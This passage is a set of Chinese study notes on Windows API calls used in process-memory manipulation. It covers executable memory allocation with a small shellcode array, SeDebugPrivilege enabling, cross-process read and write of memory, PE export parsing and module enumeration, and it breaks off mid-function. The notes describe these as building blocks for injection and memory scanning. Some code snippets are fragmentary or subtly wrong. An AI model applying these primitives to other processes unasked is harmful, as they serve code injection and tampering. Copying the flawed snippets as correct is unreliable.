

Windows API 速查笔记

堆栈与虚拟内存

阶段单词: Virtual 虚拟、Alloc 分配、Commit 提交、Reserve 保留、Protect 保护、Free 释放、Query 查询、Page 页、Execute 执行、Read 读取、Write 写入。

宏定义:

宏名称	简要含义	推荐值/备注
MEM_RESERVE	只保留地址(不占内存)	配合 MEM_COMMIT 一起用
MEM_COMMIT	提交物理内存(真正能用)	必须和 RESERVE 或单独用
MEM_RELEASE	完全释放(取消保留+提交)	VirtualFree 专用
PAGE_READWRITE	可读可写(不能执行)	初始申请时最常用
PAGE_EXECUTE_READ	可执行可读(不能写)	写入 Shellcode 后改为此属性
PAGE_EXECUTE_READWRITE	可读可写可执行	极其危险, 实战禁用

API 接口/函数

VirtualAlloc 申请内存

- 参数 1: 地址(填 NULL 让操作系统自己选)
- 参数 2: 大小(字节数, 建议填 4096 或用 SIZE_F 变量)
- 参数 3: 分配类型(MEM_RESERVE | MEM_COMMIT >>> 保留+提交)
- 参数 4: 页保护属性(如 PAGE_READWRITE)

```
#include <basetsd.h>
#include <windows.h>
SIZE_T size = 4096;
int main(){
    char* p = (char*)VirtualAlloc(NULL,size,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
    if (p == nullptr) { /* 失败处理 */ }
}
```

VirtualProtect 改内存属性

- 参数 1: 起始地址(指针变量)
- 参数 2: 大小(如 sizeof(shellcode)或 size)
- 参数 3: 新保护属性(PAGE_EXECUTE_READ)
- 参数 4: 旧属性保存地址(&oldIt, 需提前定义变量)

```
#include <windows.h>
#include <iostream>
#include <cstring>
int main() {
    unsigned char shell_code[] = { 0xB8, 0x7B, 0x00, 0x00, 0x00, 0xC3 };
    SIZE_T len = sizeof(shell_code);
    void* p = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!p) {
        std::cerr << "VirtualAlloc failed: " << GetLastError() << "\n";
        return 1;
    }
    std::memcpy(p, shell_code, len);
}
```

```
DWORD oldProtect{};
if (!VirtualProtect(p, len, PAGE_EXECUTE_READ, &oldProtect)) {
    std::cerr << "VirtualProtect failed: " << GetLastError() << "\n";
    VirtualFree(p, 0, MEM_RELEASE);
    return 1;
}
```

VirtualFree 释放内存

- 参数 1: 起始地址
- 参数 2: 大小(释放填 0)
- 参数 3: 释放类型(MEM_RELEASE)

```
VirtualFree(p, 0, MEM_RELEASE);
p = nullptr;
```

VirtualQuery 查内存状态

- 参数 1: 起始地址
- 参数 2: 信息结构体地址
- 参数 3: 结构体大小(如 sizeof(x))

```
#include <windows.h>
#include <iostream>
int main(){
    // memory_basic_information 结构体用于存储内存页的属性信息
    MEMORY_BASIC_INFORMATION m;
    // 查询并输出 main 函数所在的内存页属性
    VirtualQuery(reinterpret_cast<void*>(&main), &m, sizeof(m));
    std::cout << "State=" << static_cast<unsigned>(m.State) << std::endl;
}
```

跨进程操作与令牌权限

阶段单词: Snapshot 快照、Process 进程、Open 打开、Query 查询、VM 虚拟内存、Read 读取、Write 写入、Token 令牌、Privilege 特权、Lookup 查找、Adjust 调整

宏定义:

宏名称	含义	推荐值/备注
TH32CS_SNAPPROCESS	快照要拍“进程列表”	固定值, 直接填
PROCESS_QUERY_INFORMATION	允许查询进程信息	打开进程时填
PROCESS_VM_READ	允许读取进程内存	打开进程时填
PROCESS_VM_WRITE	允许写入进程内存	打开进程时填
PROCESS_CREATE_THREAD	允许在进程内建线程	注入时必用
TOKEN_ADJUST_PRIVILEGES	允许调整令牌特权	打开令牌时填
TOKEN_QUERY	允许查询令牌信息	打开令牌时填
SE_DEBUG_NAME	调试特权(SeDebugPrivilege)	提权时查找用
SE_SHUTDOWN_NAME	关机特权	极少用(仅了解)

API 接口/函数

CreateToolhelp32Snapshot 拍进程快照

- 参数 1: 快照标志(TH32CS_SNAPPROCESS 表示拍进程快照)
- 参数 2: 进程 ID(拍全部填 0)

```
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int main(){
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) { /*错误处理*/ }
    CloseHandle(hSnapshot);
    std::cout << "snapshot ok" << std::endl;
    return 0;
}
```

Process32First/Process32Next 遍历快照

- 参数 1: 快照句柄
- 参数 2: 进程条目结构体地址(传出 > &entry, 需定义结构体并设大小)

```
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int main(){
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &entry)) {
        do {
            std::cout << entry.szExeFile << std::endl;
        } while (Process32Next(hSnapshot, &entry));
    }
}
```

OpenProcess 打开进程获取句柄

- 参数 1: 想要的访问权限 (宏组合, 如 PROCESS_QUERY_INFORMATION)
- 参数 2: 是否继承句柄 (填 FALSE)
- 参数 3: 进程 ID(entry.th32ProcessID 参数)

```
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
int main(){
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE){return 1;};

    PROCESSENTRY32 pe; pe.dwSize = sizeof(pe);
    if (Process32First(snap, &pe)){
        do{
            if (std::string(pe.szExeFile) == "111.exe"){
                HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, FALSE, pe.th32ProcessID);
                std::cout << "Opened pid=" << pe.th32ProcessID << "\n"; CloseHandle(p);
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return 0;
}
```

OpenProcessToken 打开进程的令牌

- 参数 1: 进程句柄
- 参数 2: 想要的令牌权限(如 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY)
- 参数 3: 令牌句柄地址(传出 > &hToken, 需定义 HANDLE hToken;)

```
#include <windows.h>
#include <iostream>
int main(){
    HANDLE token = nullptr;
    // 打开当前进程的访问令牌, 要求 TOKEN_QUERY 权限
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)){
        std::cout << "OpenProcessToken ok" << std::endl;
        CloseHandle(token);
        return 0;
    }
    std::cout << "OpenProcessToken failed: " << GetLastError() << std::endl;
    return 1;
}
```

LookupPrivilegeValue 查特权对应的 LUID 数值

- 参数 1: 系统名 (本地填 NULL)
- 参数 2: 特权名称 (如 SE_DEBUG_NAME)
- 参数 3: LUID 地址 (传出 > &luid, 需定义 LUID luid;)

```
#include <windows.h>
#include <iostream>
int main(){
    LUID luid;
    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)){
        std::cout << "LUID=" << luid.LowPart << ", " << luid.HighPart << std::endl;
        return 0;
    }
    std::cout << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
    return 1;
}
```

AdjustTokenPrivileges 启用/禁用特权

- 参数 1: 令牌句柄
- 参数 2: 是否禁用所有(填 FALSE)
- 参数 3: 新特权列表地址(需填充结构体 > &tp, 需定义 TOKEN_PRIVILEGES tp;)
- 参数 4: 缓冲区大小(如 sizeof(tp))
- 参数 5: 原列表地址(可填 NULL)
- 参数 6: 返回大小地址(可填 NULL)

```
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
int main() {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 1;

    PROCESSENTRY32 pe{};
    pe.dwSize = sizeof(pe);
}
```

```

while (Process32Next(snap, &pe)) {
    if (std::string(pe.szExeFile) == "task.exe") {
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
        HANDLE hToken = NULL;

        if (hProcess && OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            LUID debugLuid{};
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &debugLuid);

            TOKEN_PRIVILEGES privileges{};
            privileges.PrivilegeCount = 1;
            privileges.Privileges[0].Luid = debugLuid;
            privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &privileges, sizeof(privileges), NULL, NULL);

            std::cout << (ok ? "task.exe ok\n" : "AdjustTokenPrivileges failed\n");
            CloseHandle(hToken);
        }
        CloseHandle(hProcess);
        break;
    }
}
CloseHandle(snap);
return 0;
}

```

ReadProcessMemory 读取目标进程的内存

- 参数 1: 进程句柄(已打开的)
- 参数 2: 目标地址(要读的位置, 如(LPCVOID)0x00401000 或变量)
- 参数 3: 本地缓冲区地址(存读取结果 > &buffer[0], 需定义数组)
- 参数 4: 要读的字节数(64 或 sizeof(buffer))
- 参数 5: 实际读取字节数地址(传出, 可填 NULL、&bytesRead)

程序 1

```

#include <windows.h>
#include <iostream>
int main() {
    int value = 123;
    std::cout << "PID=" << GetCurrentProcessId() << "\n";
    std::cout << "Address=" << (void*)&value << "\n";
    std::cout << "Value=" << value << "\n";
    std::cout << "Running...\n";
    while (true) Sleep(1000);
    return 0;
}

```

程序 2

```

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <string>
int main() {
    DWORD pid = 0;
    uintptr_t address = 0;
    std::cout << "请输入目标 PID: ";
    std::cin >> pid;
    std::cout << "请输入目标地址: ";
    std::cin >> std::hex >> address;

    HANDLE hProcess = OpenProcess(PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) {
        std::cerr << "OpenProcess failed\n";
        return 1;
    }
}

```

```

    int value = 0;
    SIZE_T bytesRead = 0;
    if (ReadProcessMemory(hProcess, (LPCVOID)address, &value, sizeof(value), &bytesRead)) {
        std::cout << "读取成功, value=" << value << ", 字节数=" << bytesRead << "\n";
    } else {
        std::cerr << "ReadProcessMemory failed: " << GetLastError() << "\n";
    }

    CloseHandle(hProcess);
    return 0;
}

```

WriteProcessMemory 写入目标进程的内存

- 参数 1: 进程句柄
- 参数 2: 目标地址(要写的位置, 如(LPVOID)0x00401000)
- 参数 3: 本地缓冲区地址(要写入的数据 > &data[0], 需定义数据)
- 参数 4: 要写的字节数(4 或 sizeof(data))
- 参数 5: 实际写入字节数地址(传出, 可填 NULL)

程序 1

```

#include <iostream>
#include <windows.h>

int main() {
    int secret = 12345;

    std::cout << "目标进程 PID: " << GetCurrentProcessId() << std::endl;
    std::cout << "秘密数值地址 (十六进制): 0x" << std::hex << (uintptr_t)&secret << std::dec << std::endl;
    std::cout << "===== " << std::endl;

    while (true) {
        std::cout << "[Target] 当前数值: " << secret << std::endl;
        Sleep(3000); // 每3秒刷新一次
    }
    return 0;
}

```

程序 2

```

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

int main() {
    // 2. 请手动输入你在 target 里看到的 PID 和 地址
    DWORD pid = 0;
    uintptr_t address = 0;
    std::cout << "请输入目标 PID: ";
    std::cin >> pid;
    std::cout << "请输入目标地址 (十六进制, 如 0x00A1B2C3): ";
    std::cin >> std::hex >> address;

    // 3. 打开进程门禁卡 (必须包含写入和操作权限)
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
        FALSE,
        pid
    );

    if (hProcess == NULL) {
        std::cerr << "打开进程失败, 错误码: " << GetLastError() << std::endl;
        return 1;
    }

    // 4. 准备要写入的新数值 (把 12345 改成 99999)
    int newValue = 99999;
    SIZE_T bytesWritten = 0;
}

```

```

// 5. 执行跨进程写入（核心操作！）
if (WriteProcessMemory(hProcess, (LPVOID)address, &newValue, sizeof(newValue), &bytesWritten)) {
    std::cout << "[+] 写入成功! 已发送 " << bytesWritten << " 字节." << std::endl;
    std::cout << "请观察 Target 窗口, 数值应该变成了 99999." << std::endl;
} else {
    std::cerr << "[-] 写入失败, 错误码: " << GetLastError() << std::endl;
}

// 6. 关闭门禁卡
CloseHandle(hProcess);

system("pause");
return 0;
}

```

GetSystemInfo 获取系统硬件参数

对于内存操作可用于获取系统内存布局边界 lpMinimumApplicationAddress 和 lpMaximumApplicationAddress

➤ 参数 1: &sysInfo(需提前定义 SYSTEM_INFO sysInfo;)

```

#include <iostream>
#include <string>
#include <windows.h>
std::string GetArchitectureName(WORD architecture) {
    switch (architecture) {
        case PROCESSOR_ARCHITECTURE_INTEL:
            return "Intel x86";
        case PROCESSOR_ARCHITECTURE_ARM:
            return "ARM";
        case PROCESSOR_ARCHITECTURE_IA64:
            return "Intel Itanium";
        case PROCESSOR_ARCHITECTURE_AMD64:
            return "x64 (AMD/Intel)";
        case PROCESSOR_ARCHITECTURE_ARM64:
            return "ARM64";
        case PROCESSOR_ARCHITECTURE_UNKNOWN:
        default:
            return "Unknown";
    }
}
int main() {
    SYSTEM_INFO systemInfo = {};
    GetSystemInfo(&systemInfo);

    std::cout << "==== GetSystemInfo 与 SYSTEM_INFO 示例 =====> << std::endl;
    std::cout << "处理器架构 = " << GetArchitectureName(systemInfo.wProcessorArchitecture) << std::endl;
    std::cout << "处理器级别 = " << systemInfo.wProcessorLevel << std::endl;
    std::cout << "处理器修订版本 = " << systemInfo.wProcessorRevision << std::endl;
    std::cout << "OEM 标识 = " << systemInfo.dwOemId << std::endl;
    std::cout << "页大小 = " << systemInfo.dwPageSize << " bytes" << std::endl;
    std::cout << "用户空间最小内存地址 = " << systemInfo.lpMinimumApplicationAddress << std::endl;
    std::cout << "用户空间最大内存地址 = " << systemInfo.lpMaximumApplicationAddress << std::endl;
    std::cout << "活动处理器掩码 = " << systemInfo.dwActiveProcessorMask << std::endl;
    std::cout << "处理器数量 = " << systemInfo.dwNumberOfProcessors << std::endl;
    std::cout << "处理器类型 = " << systemInfo.dwProcessorType << std::endl;
    std::cout << "内存分配粒度 = " << systemInfo.dwAllocationGranularity << std::endl;
}

```

VirtualQueryEx 查询目标进程的内存区域信息

- 参数 1: 进程句柄(跨进程版本, 必填)
- 参数 2: 要查询的地址(指向区域内的任意地址, 通常用 0 开始遍历, 或当前扫描指针)
- 参数 3: 内存信息结构体地址(传出)
- 参数 4: 结构体大小(固定填 sizeof(MEMORY_BASIC_INFORMATION))

```

#include <iostream>
#include <windows.h>

```

```

int main() {
    HANDLE hProcess = GetCurrentProcess();
    int value = 123;
    void* queryAddress = &value;
    MEMORY_BASIC_INFORMATION mbi = {};

    SIZE_T bytes = VirtualQueryEx(hProcess, queryAddress, &mbi, sizeof(mbi));
    if (bytes == 0) {
        DWORD errorCode = GetLastError();
        std::cerr << "VirtualQueryEx 调用失败, 错误码 = " << errorCode << std::endl;
        return 1;
    }

    std::cout << "==== VirtualQueryEx 与 MEMORY_BASIC_INFORMATION 示例 =====>
    std::cout << "查询地址 = " << queryAddress << std::endl;
    std::cout << "当前内存页起始地址 = " << mbi.BaseAddress << std::endl;
    std::cout << "内存分配基址 = " << mbi.AllocationBase << std::endl;
    std::cout << "分配时的保护属性 = " << mbi.AllocationProtect << std::endl;
    std::cout << "当前区域大小 = " << mbi.RegionSize << " bytes" << std::endl;
    std::cout << "内存状态 = " << mbi.State << std::endl;
    std::cout << "当前页保护方式 = " << mbi.Protect << std::endl;
    std::cout << "内存类型 = " << mbi.Type << std::endl;
    std::cout << "实际查询到的字节数 = " << bytes << std::endl;

    // Protect 可选项: #sym:PAGE_READWRITE、#sym:PAGE_EXECUTE_READWRITE、#sym:PAGE_READONLY、
    // #sym:PAGE_WRITECOPY、#sym:PAGE_EXECUTE_READ、#sym:PAGE_NOACCESS
    // State 可选项: #sym:MEM_COMMIT、#sym:MEM_RESERVE、#sym:MEM_FREE
    // Type 可选项: #sym:MEM_PRIVATE、#sym:MEM_MAPPED、#sym:MEM_IMAGE
}

```

PE 结构解析

阶段单词：Create 创建/打开、Mapping 映射、View 视图、Dos DOS 头、Nt NT 头、Signature 签名、Lfanew 指向 NT 头的偏移量、Module 模块、Unmap 解除映射

宏/结构体

名称	含义	推荐值/备注
GENERIC_READ	允许读取文件内容	打开文件时填
FILE_SHARE_READ	允许其他进程同时读取该文件	打开文件时填
OPEN_EXISTING	只打开已存在的文件(不创建新文件)	打开文件时填
FILE_ATTRIBUTE_NORMAL	常规文件属性(无特殊标记)	打开文件时填
PAGE_READONLY	映射后的内存页只读(不能写)	创建映射对象时填
FILE_MAP_READ	映射视图的访问权限为只读	映射视图时填
IMAGE_DOS_SIGNATURE	DOS 头有效标识(字母 MZ)	固定值 0x5A4D 校验用
IMAGE_NT_SIGNATURE	NT 头有效标识(字母 PE\0\0)	固定值 0x00004550 校验用
e_Lfanew(字段)	DOS 头中第 0x3C 偏移处的字段	存储 NT 头相对于文件起始的偏移量
IMAGE_SIZEOF_SHORT_NAME	节区名(Name 字段)最大长度	固定为 8 字节

API 接口/函数

CreateFile 打开文件获取句柄

注意：虽然系统监控也用到，但在 PE 阶段必须独立掌握，因为参数一致但用途不同。

➤ 参数 1：文件路径(字符串，如"C:\Windows\System32\notepad.exe ")

- 参数 2: 访问权限(GENERIC_READ 请求读权限, 只解析不修改)
- 参数 3: 共享模式(FILE_SHARE_READ 允许别人也读, 避免锁住系统文件)
- 参数 4: 安全属性(使用默认安全描述符填 NULL)
- 参数 5: 创建方式(OPEN_EXISTING 只打开已有文件)
- 参数 6: 文件属性(FILE_ATTRIBUTE_NORMAL 普通无特殊标记)
- 参数 7: 模板文件句柄(不需要复用其他文件的属性填 NULL)

```
#include <windows.h>
#include <iostream>
int main()
{
    const char* filename = "example_createfile.txt";
    // CreateFileA: 创建或覆盖文件并关闭句柄
    HANDLE h = CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        std::cerr << "CreateFile failed, GetLastError()=" << GetLastError() << "\n";
        return 1;
    }
    CloseHandle(h);
    return 0;
}
```

CreateFileMapping 创建文件映射对象

- 参数 1: 文件句柄(第 1 步获得的 hFile)
- 参数 2: 安全属性(默认安全描述符填 NULL)
- 参数 3: 页保护属性(PAGE_READWRITE 映射后的物理页只读, 防止解析时意外写入)
- 参数 4: 最大大小高位(要映射的文件小于 4GB, 填 0 即可)
- 参数 5: 最大大小低位(填 0, 表示自动取文件实际大小)
- 参数 6: 映射对象名称(不创建命名对象填 NULL, 不需要跨进程共享)

```
#include <windows.h>
int main()
{
    // 仅保留 CreateFile 和 CreateFileMappingA 演示 (无输出)
    HANDLE hFile = CreateFileA("example.dat", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return 1;

    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, 0, 4096, NULL);
    if (hMap == NULL) { CloseHandle(hFile); return 1; }

    CloseHandle(hMap);
    CloseHandle(hFile);
    return 0;
}
```

MapViewOfFile 将文件映射到进程内存地址空间

- 参数 1: 映射对象句柄(第 2 步获得的 hMapping)
- 参数 2: 访问权限(视图只读填 FILE_MAP_READ)
- 参数 3: 偏移量高位(填 0, 从文件开头偏移 0 字节)
- 参数 4: 偏移量低位(填 0, 从文件起始位置映射)
- 参数 5: 映射大小(填 0, 映射整个文件)

UnmapViewOfFile 解除映射

此 API 必须配上, 否则内存泄漏。

- 参数 1: 映射视图基址(填 MapViewOfFile 返回的指针)

手动计算偏移量示例:

```
#include <windows.h>
#include <iostream>
#include <iomanip>

int main(){
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\notepad.exe",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        std::cerr << "文件打开失败, 错误码: " << GetLastError() << std::endl;
        return 1;
    }
    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if(!hMapping){
        std::cout << "创建映射失败, 错误码: " << GetLastError() << std::endl;
        CloseHandle(hFile);
        return 1;
    }
    char* pBase = (char*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if(!pBase){
        std::cout << "创建视图失败, 错误码: " << GetLastError() << std::endl;
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return 1;
    }

    std::cout << std::hex << std::setfill('0');

    UINT16 MZ = *(UINT16*)(pBase + 0x00);
    std::cout << "[1] DOS签名(e_magic): 0x" << std::setw(4) << MZ << std::endl;
    if(MZ != 0x5A4D){ std::cerr << "不是有效DOS头, 文件可能损坏!" << std::endl; }

    UINT32 lfanew = *(UINT32*)(pBase + 0x3c);
    std::cout << "[2] NT头偏移(e_lfanew): 0x" << std::setw(8) << lfanew << std::endl;

    UINT32 peSig = *(UINT32*)(pBase + lfanew);
    std::cout << "[3] PE签名(Signature): 0x" << std::setw(8) << peSig << std::endl;
    if(peSig != 0x00004550){ std::cerr << "这不是有效的PE签名" << std::endl; }

    UINT32 entryRVA = *(UINT32*)(pBase + lfanew + 0x28);
    std::cout << "[4] 入口点RAV(EntryPoint): 0x" << std::setw(8) << entryRVA << std::endl;

    UINT64 imageBase = *(UINT64*)(pBase + lfanew + 0x48);
    std::cout << "[5] 镜像基址(ImageBase): 0x" << std::setw(16) << imageBase << std::endl;

    UnmapViewOfFile(pBase);
    CloseHandle(hMapping);
    CloseHandle(hFile);
    system("pause");
}
```

结构体自动计算偏移量示例:

```
#include <windows.h>
#include <iostream>
#include <iomanip>

int main() {
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\notepad.exe",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
}
```

```

if (hFile == INVALID_HANDLE_VALUE) { /*略*/ }
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping) { /*略*/ }
char* pBase = (char*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pBase) { /*略*/ }

// 用结构体解析 (从此告别手动偏移计算)
std::cout << std::hex << std::setfill('0');

// ② 把基址当成 DOS 头
IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)pBase;
std::cout << "[1] DOS 签名 (e_magic)      : 0x" << std::setw(4) << pDos->e_magic << std::endl;

// ③ e_lfanew 直接告诉你 NT 头的偏移
std::cout << "[2] NT 头偏移 (e_lfanew)      : 0x" << std::setw(8) << pDos->e_lfanew << std::endl;

// ④ 跳过去, 把该地址当成 NT 头 (64位专用结构体)
IMAGE_NT_HEADERS64* pNt = (IMAGE_NT_HEADERS64*)((char*)pBase + pDos->e_lfanew);
std::cout << "[3] PE 签名 (Signature)      : 0x" << std::setw(8) << pNt->Signature << std::endl;

// ⑤ 直接从 OptionalHeader 里取值 (编译器帮你算偏移了)
std::cout << "[4] 入口点 RVA              : 0x" << std::setw(8) << pNt->OptionalHeader.AddressOfEntryPoint << std::endl;
std::cout << "[5] 镜像基址 (ImageBase)       : 0x" << std::setw(16) << pNt->OptionalHeader.ImageBase << std::endl;

// 额外内容: 验证以后会在运行时用到的公式
std::cout << "===== " << std::endl;
std::cout << "[*] 编译时理想基址: 0x" << std::hex << pNt->OptionalHeader.ImageBase << std::endl;
std::cout << "[*] 入口点 RVA      : 0x" << std::hex << pNt->OptionalHeader.AddressOfEntryPoint << std::endl;
std::cout << "[*] 第一条指令 (理想位置): 0x" << std::hex <<
    |      | << (pNt->OptionalHeader.ImageBase + pNt->OptionalHeader.AddressOfEntryPoint) << std::endl;

UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);

system("pause");
}

```

PE 导出表遍历示例 (PE 结构完整见另外文档)

```

#include <windows.h>
#include <iostream>
#include <iomanip>

int main(){
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\kernel32.dll",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        std::cerr << "打开文件失败!" << std::endl;
        return 1;
    }
    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if(!hMap){
        std::cerr << "创建映射失败!" << std::endl;
        CloseHandle(hFile);
        return 1;
    }
    char* pBase = (char*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    if(!pBase){
        std::cerr << "创建视图失败!" << std::endl;
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 1;
    }
}

```

```
// Dos 头
IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)pBase;
// NT 头
IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)(pBase + pDos->e_lfanew);
// 导出表地址
IMAGE_DATA_DIRECTORY exportDir = pNt -> OptionalHeader.DataDirectory[0];
// 导出表
IMAGE_EXPORT_DIRECTORY* pExport = (IMAGE_EXPORT_DIRECTORY*)(pBase + exportDir.VirtualAddress);
// 函数名称地址
DWORD* nameArrayRVA = (DWORD*)(pBase + pExport->AddressOfNames);
// 函数地址地址
DWORD* funcArrayRVA = (DWORD*)(pBase + pExport->AddressOfFunctions);
// 函数"序号"地址
WORD* ordinalArra = (WORD*)(pBase + pExport->AddressOfNameOrdinals);
// 函数名称总数
DWORD nameCount = pExport -> NumberOfNames;

std::cout << "总导出的函数名数量是: " << nameCount << std::endl;
std::cout << "前10个导出函数名: " << std::endl;

for(DWORD i = 1; i < nameCount; i++){
    DWORD nameRAV = nameArrayRVA[i];
    char* funcName = (char*)(pBase + nameRAV);

    WORD ordinal = ordinalArra[i];
    DWORD funcRVA = funcArrayRVA[ordinal];

    std::cout << "函数名称: " << funcName;
    std::cout << " | RVA: 0x" << std::hex << funcRVA << std::dec << std::endl;
}

UnmapViewOfFile(pBase);
CloseHandle(hMap);
CloseHandle(hFile);
}
```

✧ PE 结构解析之“动态模块枚举”专章

阶段单词: Enum 枚举、Module 模块、Base 基址、Image 镜像、Size 大小、Name 名称

宏定义/链接库

宏 / 库名	含义 + 原因
#include <psapi.h>	含义: 包含进程状态 API 的函数声明。 原因: EnumProcessModules 系列函数都在这个头文件里, 不包含就编译报错。
#pragma comment(lib, "psapi.lib")	含义: 告诉链接器去链接 psapi.lib 库文件。 原因: 这个库提供了 EnumProcessModules 的真正机器码, 不加这一行会导致“无法解析的外部符号”链接错误。

核心结构体

MODULEINFO(模块信息)

- 作用: 接收一个模块的详细信息。
- 关键字段:
 - lpBaseOfDll: 该模块在目标进程内存中的起始基址。
 - SizeOfImage: 该模块占用的内存总大小。
 - EntryPoint: 模块入口点地址(通常不用)。

API 函数精解

EnumProcessModules 获取进程加载的所有模块句柄列表

- 参数 1: 进程句柄(已打开的目标进程)
- 参数 2: 模块句柄数组地址(传出, 用于存放多个 HMODULE, 需定义 HMODULE hMods[1024];)
- 参数 3: 数组总大小(字节数)
- 参数 4: 实际需要的字节数地址(传出, 需定义 DWORD cbNeeded;)

GetModuleBaseName 获取模块名称

- 参数 1: 进程句柄
- 参数 2: 模块句柄(从上面的 hMods[i]取)
- 参数 3: 名称缓冲区地址(传出, 存 char[], 需定义 char szName[MAX_PATH];)
- 参数 4: 缓冲区大小(字符数, MAX_PATH 指定缓冲区最多能装多少个字符包括结尾的 '\0', 防止溢出。)

GetModuleFileNameEx 获取模块完整路径

注意: 它与 GetModuleBaseName 的区别是 BaseName 只返回 "kernel32.dll", 而这个返回 "C:\Windows\System32\kernel32.dll"。

- 参数 1: 进程句柄
- 参数 2: 模块句柄(主模块填 NULL)
- 参数 3: 路径缓冲区地址(传出, 存 char[], 需定义 char path[MAX_PATH];)
- 参数 4: 缓冲区大小(字符数, MAX_PATH)

GetModuleInformation 获取模块详细信息

写内存扫描器最重要的函数: 有了它, 就能拿到模块在内存里的真实起始地址和占用的总大小, 不用自己瞎猜。

- 参数 1: 进程句柄
- 参数 2: 模块句柄
- 参数 3: 模块信息结构体地址(传出, 填&modInfo, 需定义 MODULEINFO modInfo;)
- 参数 4: 结构体大小(固定填 sizeof(MODULEINFO), 告诉函数要填充的结构体有多大, 防止版本差异导致内存越界。

```
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <iostream>
#include <vector>
#include <string>
#include <iomanip>

#pragma comment(lib, "psapi.lib");

// 提权, 确保能打开目标进程
bool EnableDebugPrivilege(){
    HANDLE hToken;
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){ return 1; }
    LUID luid;
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)){
        CloseHandle(hToken);
        return 1; }
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bool success = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    if(GetLastError() == ERROR_NOT_ALL_ASSIGNED){
        CloseHandle(hToken);
        return 1; }
    CloseHandle(hToken);
    return success;
}
```

```

// 根据进程名获取 PID
DWORD GetPidByName(const std::string& targetName){
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    if(Process32First(hSnap, &pe)){
        do{
            if(pe.szExeFile == targetName){
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        }while(Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return 0;
}

// 模块枚举函数
void ListModulesForProcess(DWORD pid){
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if(!hProcess){
